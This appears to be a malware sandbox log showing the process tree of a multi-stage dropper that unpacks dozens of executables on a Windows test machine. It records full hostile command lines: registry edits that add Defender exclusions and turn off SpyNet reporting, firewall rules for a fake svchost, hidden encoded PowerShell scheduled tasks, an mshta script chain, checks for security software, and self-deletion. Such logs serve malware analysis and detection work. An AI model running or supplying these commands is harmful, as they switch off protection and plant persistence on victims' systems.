"C:\Users\Admin\AppData\Local\Temp\6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Users\Admin\Pictures\Adobe Films\LBordS_wRswZkyFgyZkoALaB.exe
  "C:\Users\Admin\Pictures\Adobe Films\LBordS_wRswZkyFgyZkoALaB.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:816
- C:\Users\Admin\Pictures\Adobe Films\NOitGj1HFrbv6Pflm75zGhWS.exe
  "C:\Users\Admin\Pictures\Adobe Films\NOitGj1HFrbv6Pflm75zGhWS.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4716
- C:\Users\Admin\Pictures\Adobe Films\7HO_6mh3ra01tx9d0NsZ5gLG.exe
  "C:\Users\Admin\Pictures\Adobe Films\7HO_6mh3ra01tx9d0NsZ5gLG.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1796
- C:\Users\Admin\Pictures\Adobe Films\iu4UThg9bH1Z0WLw1_AuPn2Z.exe
  "C:\Users\Admin\Pictures\Adobe Films\iu4UThg9bH1Z0WLw1_AuPn2Z.exe"
  2⤵
  - Executes dropped EXE
  PID:1172
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1172 -s 624
    3⤵
    - Drops file in Windows directory
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- C:\Users\Admin\Pictures\Adobe Films\q_pi8gkYgmZg2IppzsYm4ZMF.exe
  "C:\Users\Admin\Pictures\Adobe Films\q_pi8gkYgmZg2IppzsYm4ZMF.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3332
- - C:\Users\Admin\Pictures\Adobe Films\q_pi8gkYgmZg2IppzsYm4ZMF.exe
    "C:\Users\Admin\Pictures\Adobe Films\q_pi8gkYgmZg2IppzsYm4ZMF.exe"
    3⤵
    - Executes dropped EXE
    PID:4788
- C:\Users\Admin\Pictures\Adobe Films\EbqNjRh1LDdgtb170sy20FMH.exe
  "C:\Users\Admin\Pictures\Adobe Films\EbqNjRh1LDdgtb170sy20FMH.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops file in Program Files directory
  PID:2764
- - C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
    "C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    PID:5808
- C:\Users\Admin\Pictures\Adobe Films\cjkGG1M__chuTaydUcRZbpD0.exe
  "C:\Users\Admin\Pictures\Adobe Films\cjkGG1M__chuTaydUcRZbpD0.exe"
  2⤵
  - Executes dropped EXE
  PID:2244
- C:\Users\Admin\Pictures\Adobe Films\dOX4oNINb0LSDZsnnFjj7YpH.exe
  "C:\Users\Admin\Pictures\Adobe Films\dOX4oNINb0LSDZsnnFjj7YpH.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops file in Program Files directory
  PID:1644
- - C:\Users\Admin\Documents\VL3bPKyd122cgLa9lV0zlos8.exe
    "C:\Users\Admin\Documents\VL3bPKyd122cgLa9lV0zlos8.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    PID:5272
  - - C:\Users\Admin\Pictures\Adobe Films\_9wAYLn3O3l25CJXAGZuTq8I.exe
      "C:\Users\Admin\Pictures\Adobe Films\_9wAYLn3O3l25CJXAGZuTq8I.exe"
      4⤵
      Executes dropped EXE
      PID:6096
  - - C:\Users\Admin\Pictures\Adobe Films\Meiw3l76Hyzn3S9fB1L1fByQ.exe
      "C:\Users\Admin\Pictures\Adobe Films\Meiw3l76Hyzn3S9fB1L1fByQ.exe"
      4⤵
      Executes dropped EXE
      PID:1140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1140 -s 616
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5652
  - - C:\Users\Admin\Pictures\Adobe Films\Dn40KwYVtMsQa8aUWaa1SNZd.exe
      "C:\Users\Admin\Pictures\Adobe Films\Dn40KwYVtMsQa8aUWaa1SNZd.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Modifies registry class
      PID:3932
    - - C:\Windows\SysWOW64\control.exe
        
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
        5⤵
        
        PID:3540
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
        6⤵
        
        PID:2856
  - - C:\Users\Admin\Pictures\Adobe Films\69YfMP8_PaOEQ6Wbw2hOcua6.exe
      "C:\Users\Admin\Pictures\Adobe Films\69YfMP8_PaOEQ6Wbw2hOcua6.exe"
      4⤵
      Executes dropped EXE
      PID:5528
    - - C:\Users\Admin\AppData\Local\Temp\7zSD3F2.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:1760
      - C:\Users\Admin\AppData\Local\Temp\7zSFD06.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Enumerates system info in registry
        
        PID:4680
  - - C:\Users\Admin\Pictures\Adobe Films\Gi2jH6lCmtoQdkO8DNCJE31R.exe
      "C:\Users\Admin\Pictures\Adobe Films\Gi2jH6lCmtoQdkO8DNCJE31R.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:1776
    - - C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828
      - C:\Users\Admin\AppData\Local\Temp\53976407-c634-49d0-a273-311df824c63c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\53976407-c634-49d0-a273-311df824c63c.exe"
        6⤵
        Executes dropped EXE
        
        PID:2204
    - - C:\Users\Admin\AppData\Local\Temp\chenling.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chenling.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of SetWindowsHookEx
        
        PID:4648
      - C:\Users\Admin\AppData\Local\Temp\chenling.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chenling.exe" -a
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5200
    - - C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        5⤵
        Executes dropped EXE
        
        PID:5028
    - - C:\Users\Admin\AppData\Local\Temp\setup1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup1.exe"
        5⤵
        Executes dropped EXE
        
        PID:640
    - - C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jg6_6asg.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:1460
    - - C:\Users\Admin\AppData\Local\Temp\askinstall63.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall63.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3092
    - - C:\Users\Admin\AppData\Local\Temp\siww1049.exe
        
        "C:\Users\Admin\AppData\Local\Temp\siww1049.exe"
        5⤵
        Executes dropped EXE
        
        PID:808
      - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        Executes dropped EXE
        
        PID:5356
    - - C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6008
    - - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:1964
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        6⤵
        
        PID:4996
    - - C:\Users\Admin\AppData\Local\Temp\chizasv_crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chizasv_crypted.exe"
        5⤵
        Executes dropped EXE
        
        PID:2576
    - - C:\Users\Admin\AppData\Local\Temp\anytime1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3604
    - - C:\Users\Admin\AppData\Local\Temp\anytime2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5580
    - - C:\Users\Admin\AppData\Local\Temp\anytime3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime3.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5708
    - - C:\Users\Admin\AppData\Local\Temp\anytime4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime4.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:972
    - - C:\Users\Admin\AppData\Local\Temp\anytime5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime5.exe"
        5⤵
        
        PID:620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5388
- C:\Users\Admin\Pictures\Adobe Films\TgwD3hzHhNr2B7ZgobK0GO5X.exe
  "C:\Users\Admin\Pictures\Adobe Films\TgwD3hzHhNr2B7ZgobK0GO5X.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2980
- C:\Users\Admin\Pictures\Adobe Films\zXF8ZIHX1u5GZ3x6Jjp2J344.exe
  "C:\Users\Admin\Pictures\Adobe Films\zXF8ZIHX1u5GZ3x6Jjp2J344.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1752
- - C:\Users\Admin\Pictures\Adobe Films\zXF8ZIHX1u5GZ3x6Jjp2J344.exe
    "C:\Users\Admin\Pictures\Adobe Films\zXF8ZIHX1u5GZ3x6Jjp2J344.exe"
    3⤵
    - Executes dropped EXE
    PID:5768
- C:\Users\Admin\Pictures\Adobe Films\G6nzowjdUZQdAIpRpjVdY1LY.exe
  "C:\Users\Admin\Pictures\Adobe Films\G6nzowjdUZQdAIpRpjVdY1LY.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2904
- C:\Users\Admin\Pictures\Adobe Films\AhMK_x4aCopUMXN6bXS0OV8S.exe
  "C:\Users\Admin\Pictures\Adobe Films\AhMK_x4aCopUMXN6bXS0OV8S.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:1384
- - C:\Windows\SysWOW64\at.exe
    "C:\Windows\System32\at.exe"
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd < Debbano.wp5
    3⤵
    PID:6072
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:1076
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq BullGuardCore.exe"
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2580
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "bullguardcore.exe"
        5⤵
        
        PID:2380
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq PSUAService.exe"
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5852
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "psuaservice.exe"
        5⤵
        
        PID:432
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^oYuXliAPwUGYfrFgsjoREDafiNmXBiiSmhiscTkUBcdBExyIxcxoTdXFGRPbHChUMOnwWhTnwgdojQLMHRDyNZZodBLDrNjYivPPVtLuCViEqOaPyePQZ$" Sbigottito.wp5
        5⤵
        
        PID:5440
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Tele.exe.pif
        
        Tele.exe.pif D
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5684
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Tele.exe.pif
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Tele.exe.pif
        6⤵
        
        PID:5524
    - - C:\Windows\SysWOW64\waitfor.exe
        
        waitfor /t 5 zFQVSYDCIQOneJMEajQ
        5⤵
        
        PID:1400
- C:\Users\Admin\Pictures\Adobe Films\_48ZWp1s4ec64NIHBdZrn1MJ.exe
  "C:\Users\Admin\Pictures\Adobe Films\_48ZWp1s4ec64NIHBdZrn1MJ.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1660
- C:\Users\Admin\Pictures\Adobe Films\zAg4k9J9uw0FC8Ux0wOF_VOS.exe
  "C:\Users\Admin\Pictures\Adobe Films\zAg4k9J9uw0FC8Ux0wOF_VOS.exe"
  2⤵
  - Executes dropped EXE
  PID:3104
- - C:\Users\Admin\AppData\Local\Temp\7zS41C4.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    PID:2252
  - - C:\Users\Admin\AppData\Local\Temp\7zS6039.tmp\Install.exe
      .\Install.exe /S /site_id "525403"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks computer location settings
      Drops file in System32 directory
      Enumerates system info in registry
      PID:5428
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:5204
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:4220
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:5260
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:6108
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:5164
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:552
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:5784
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:5888
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gTCfsvhGU" /SC once /ST 07:00:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:456
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gTCfsvhGU"
        5⤵
        
        PID:4540
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gTCfsvhGU"
        5⤵
        
        PID:3484
- C:\Users\Admin\Pictures\Adobe Films\XcFNLotPlwUqlI0znaisyfJT.exe
  "C:\Users\Admin\Pictures\Adobe Films\XcFNLotPlwUqlI0znaisyfJT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Users\Admin\AppData\Local\Temp\go-memexec-304629383.exe
    C:\Users\Admin\AppData\Local\Temp\go-memexec-304629383.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4184
- C:\Users\Admin\Pictures\Adobe Films\Q4W8MXYAP0k39PCPaV_wZ4Tr.exe
  "C:\Users\Admin\Pictures\Adobe Films\Q4W8MXYAP0k39PCPaV_wZ4Tr.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- - C:\Users\Admin\Pictures\Adobe Films\Q4W8MXYAP0k39PCPaV_wZ4Tr.exe
    "C:\Users\Admin\Pictures\Adobe Films\Q4W8MXYAP0k39PCPaV_wZ4Tr.exe"
    3⤵
    - Executes dropped EXE
    PID:1936
- C:\Users\Admin\Pictures\Adobe Films\BYA0XU2pjp3wQ4UVX_xMH98g.exe
  "C:\Users\Admin\Pictures\Adobe Films\BYA0XU2pjp3wQ4UVX_xMH98g.exe"
  2⤵
  - Executes dropped EXE
  PID:4984
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4984 -s 472
    3⤵
    - Program crash
    PID:5696
- C:\Users\Admin\Pictures\Adobe Films\NFm7rCBvdPZ5FpmPG8mu6uNB.exe
  "C:\Users\Admin\Pictures\Adobe Films\NFm7rCBvdPZ5FpmPG8mu6uNB.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4928
- C:\Users\Admin\Pictures\Adobe Films\bPm6wsPDOU408G18DH9jCh1a.exe
  "C:\Users\Admin\Pictures\Adobe Films\bPm6wsPDOU408G18DH9jCh1a.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops file in Windows directory
  PID:3124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:5284
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:1088
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:808
- - C:\Windows\System\svchost.exe
    "C:\Windows\System\svchost.exe" formal
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:5384
- C:\Users\Admin\Pictures\Adobe Films\PBCiOh68y9UfstR0tk1UjmNk.exe
  "C:\Users\Admin\Pictures\Adobe Films\PBCiOh68y9UfstR0tk1UjmNk.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:1888
- - C:\Users\Admin\Pictures\Adobe Films\g2XKQVHE6Cuk9xlIvj20CmfL.exe
    "C:\Users\Admin\Pictures\Adobe Films\g2XKQVHE6Cuk9xlIvj20CmfL.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5940
- - C:\Users\Admin\Pictures\Adobe Films\jCOusEWJWhk0UNELXZdGFzaX.exe
    "C:\Users\Admin\Pictures\Adobe Films\jCOusEWJWhk0UNELXZdGFzaX.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5300
- - C:\Users\Admin\Pictures\Adobe Films\EcR5DxZIKBaVucGwHURkgK7G.exe
    "C:\Users\Admin\Pictures\Adobe Films\EcR5DxZIKBaVucGwHURkgK7G.exe"
    3⤵
    - Executes dropped EXE
    PID:2360
- C:\Users\Admin\Pictures\Adobe Films\7XRjeI_Q1e4SKz2J60gmCJgx.exe
  "C:\Users\Admin\Pictures\Adobe Films\7XRjeI_Q1e4SKz2J60gmCJgx.exe"
  2⤵
  - Executes dropped EXE
  PID:1476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Pictures\Adobe Films\7XRjeI_Q1e4SKz2J60gmCJgx.exe
    3⤵
    PID:6040
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 0
      4⤵
      PID:5328
- C:\Users\Admin\Pictures\Adobe Films\ec5gSMjyVNTrjrUkMBJG5eA3.exe
  "C:\Users\Admin\Pictures\Adobe Films\ec5gSMjyVNTrjrUkMBJG5eA3.exe"
  2⤵
  - Executes dropped EXE
  PID:3464
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3464 -s 464
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4984 -ip 4984
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3464 -ip 3464
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4984 -ip 4984
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1140 -ip 1140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4388
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:3356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 640 -ip 640
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1032

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
1⤵
- Process spawned unexpected child process
PID:5320
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
  2⤵
  - Loads dropped DLL
  PID:5288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 640 -ip 640
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1140 -ip 1140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3464 -ip 3464
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1140 -ip 1140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 640 -ip 640
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1140 -ip 1140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 640 -ip 640
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1140 -ip 1140
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2576 -ip 2576
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
